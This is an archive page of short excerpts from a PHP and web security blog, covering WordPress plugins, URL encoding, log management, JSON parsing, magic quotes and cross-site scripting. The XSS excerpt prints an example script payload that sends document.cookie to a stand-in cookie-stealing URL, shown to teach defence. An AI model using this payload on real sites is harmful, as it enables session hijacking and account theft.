Archive

Posts Tagged ‘Security’

Few Security Plugins for Wordpress

Nov 15th, 2009

Few important wordpress security plugins you need if you are self hosting wordpress blogging platform.

JavaScript Encode-Decode URL

Sep 6th, 2009

Why url encoding needed?
All NON-ASCII characters need to be converted to %xx value for a url.
Spaces and special characters can break the url.
Something like “encoding_test.php?q=hello world” need to converted into “firstpage.php?q=hello%20world”.
Most modern browser do this job most of the time. So, we do not face much problem. But this can be a necessity
when some other [...]

Log Management of Various Logs generated

May 10th, 2009

Management of Logs generated by various applications – Servers, Firewall and many others network application are important for large organizations. For becoming PCI complaints, it is one of the essential requirements.
PCI DSS (Payment Card Industry Data Security Standards), a standards from the PCI security council, requires all log to be registered and monitored to check [...]

Parse JSON using JSON Parser or eval()!

Oct 5th, 2008

JSON is in use for data interchange format. It is accepted in many programming language whether client side or server side language. So, learning JSON and using it securely is needed.
Both JavaScript and PHP has in-built functions for this.
JSON parser function is useful if your JSON text is coming from external source for security of [...]

PHP Security: Remove Default Escaping In PHP

Sep 14th, 2008

Reading this post first may be helpful!
Remove default PHP escaping and apply your own at runtime. This way you are safe at client’s setting of magic quote in their php.ini.
PHP has default escaping functionality. It escapes all incoming data.
It is preferred not to use default magic quote ‘On’ in PHP. In PHP 6.0.0 it will [...]

PHP Security: Cross-Site scripting

Aug 10th, 2008

Cross-Site scripting is one of the best know attack. Any web application that displays input is at risk. In this Web 2.0 time this attack can be easy to do.
Suppose a user has entered this data in input in form:

Hi, I am cool.
<script>
document.location = ‘http://coolsite.com/stolen_cookie.php?cookies=’ + document.cookie
</script>

Displaying this data to your users will send all [...]

Essential PHP Security – Chris Shiflett, O’Reilly Publication

Nov 17th, 2007

“Essential PHP Security” is an essential book for experienced PHP programmer. It discusses essential security measures you can take for making your PHP applications secure. Even if there are another team for your high profile web site’s security then also it is very useful. You will learn about many php.ini configurations and good programming practices [...]

Web 2.0 Security Issues

Sep 11th, 2007

Web 2.0 is enriching browsing experience and providing many kind packages in the form of Blog, Social networking sites and other content sharing sites. With lots of facility provided in Web 2.0 sites, there are lots of securities issues as well.

Check this good discussion on web 2.0 security issues.
and you would also like to check [...]